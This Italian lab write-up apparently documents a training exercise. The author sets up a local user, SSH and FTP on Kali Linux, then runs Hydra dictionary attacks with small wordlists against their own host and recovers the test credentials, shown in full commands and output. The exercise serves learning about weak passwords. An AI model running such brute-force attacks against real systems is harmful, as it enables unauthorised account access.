

AUTHENTICATION CRACKING CON HYDRA



Configurazione e cracking SSH

Creiamo un nuovo utente `test_user` su Kali Linux con il comando `sudo adduser test_user` e lo configuriamo con la password.

```
(kali㉿kali)-[~]
$ sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
warn: The home directory `/home/test_user' already exists. Not touching this directory.
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Dopo aver avviato il servizio SSH con il comando `sudo service ssh start`

```
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to su
info: Adding user `test_user' to group

(kali㉿kali)-[~]
$ sudo service ssh start
```

procediamo con il test della connessione SSH del nuovo utente eseguendo il comando

ssh test_user@192.168.50.100

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.50.100
test_user@192.168.50.100's password:
Permission denied, please try again.
test_user@192.168.50.100's password:
Linux kali 6.12.13-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.13-1kali1 (2025-02-11) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

Per l'esercizio utilizzeremo il tool **Hydra**, strumento di cracking delle password.
A questo punto andiamo a creare le liste per effettuare un attacco a dizionario con Hydra, Che verranno chiamate **utenti.txt** e **password.txt**

```
GNU nano 8.3 utenti.txt
pippo
harley
test_user
andrea
franco
admin
photo
Nmap Scan...
```

```
GNU nano 8.3 password.txt
testpass
baudo
pass123
password
davidson
cambia
photo
Nmap Scan...
```

Una volta configurato tutto il necessario, procediamo con il cracking. Sul terminale inseriamo:

hydra -L utenti.txt -P password.txt 192.168.50.100 -t 1 ssh -V

```
(kali@kali)-[~]
$ hydra -L utenti.txt -P password.txt 192.168.50.100 -t 1 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
ons, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 05:46:02
[DATA] max 1 task per 1 server, overall 1 task, 36 login tries (l:6/p:6), ~36 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "testpass" - 1 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "baudo" - 2 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "pass123" - 3 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "password" - 4 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "davidson" - 5 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "cambia" - 6 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "harley" - pass "testpass" - 7 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "harley" - pass "baudo" - 8 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "harley" - pass "pass123" - 9 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "harley" - pass "password" - 10 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "harley" - pass "davidson" - 11 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "harley" - pass "cambia" - 12 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 13 of 36 [child 0] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "testpass" - 19 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "baudo" - 20 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "pass123" - 21 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "password" - 22 of 36 [child 0] (0/0)
[STATUS] 22.00 tries/min, 22 tries in 00:01h, 14 to do in 00:01h, 1 active
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "davidson" - 23 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "cambia" - 24 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco" - pass "testpass" - 25 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco" - pass "baudo" - 26 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco" - pass "pass123" - 27 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco" - pass "password" - 28 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco" - pass "davidson" - 29 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco" - pass "cambia" - 30 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 31 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "baudo" - 32 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "pass123" - 33 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "password" - 34 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "davidson" - 35 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "cambia" - 36 of 36 [child 0] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 05:47:49
```

Hydra riesce a crackare la password.

Proviamo ora a crackare l'autenticazione del servizio FTP.

Dopo averlo installato col comando **sudo apt install vsftpd** ed averlo avviato con il comando **service vsftpd start**, procediamo con il cracking della password con il comando

hydra -V -L utenti.txt -P password.txt 192.168.50.100 -t1 ftp

```
(kali@kali)~$ hydra -V -L utenti.txt -P password.txt 192.168.50.100 -t1 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 06:01:02
[DATA] max 1 task per 1 server, overall 1 task, 36 login tries (l:6/p:6), ~36 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "testpass" - 1 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "baudo" - 2 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "pass123" - 3 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "password" - 4 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "davidson" - 5 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "pippo" - pass "cambia" - 6 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "harley" - pass "testpass" - 7 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "harley" - pass "baudo" - 8 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "harley" - pass "pass123" - 9 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "harley" - pass "password" - 10 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "harley" - pass "davidson" - 11 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "harley" - pass "cambia" - 12 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 13 of 36 [child 0] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "testpass" - 19 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "baudo" - 20 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "pass123" - 21 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "password" - 22 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "davidson" - 23 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "andrea" - pass "cambia" - 24 of 36 [child 0] (0/0)
[STATUS] 24.00 tries/min, 24 tries in 00:01h, 12 to do in 00:01h, 1 active
[ATTEMPT] target 192.168.50.100 - login "franco" - pass "testpass" - 25 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco" - pass "baudo" - 26 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco" - pass "pass123" - 27 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco" - pass "password" - 28 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco" - pass "davidson" - 29 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco" - pass "cambia" - 30 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 31 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "baudo" - 32 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "pass123" - 33 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "password" - 34 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "davidson" - 35 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "cambia" - 36 of 36 [child 0] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 06:02:42
```

Anche in questo caso Hydra riesce ad individuare le credenziali.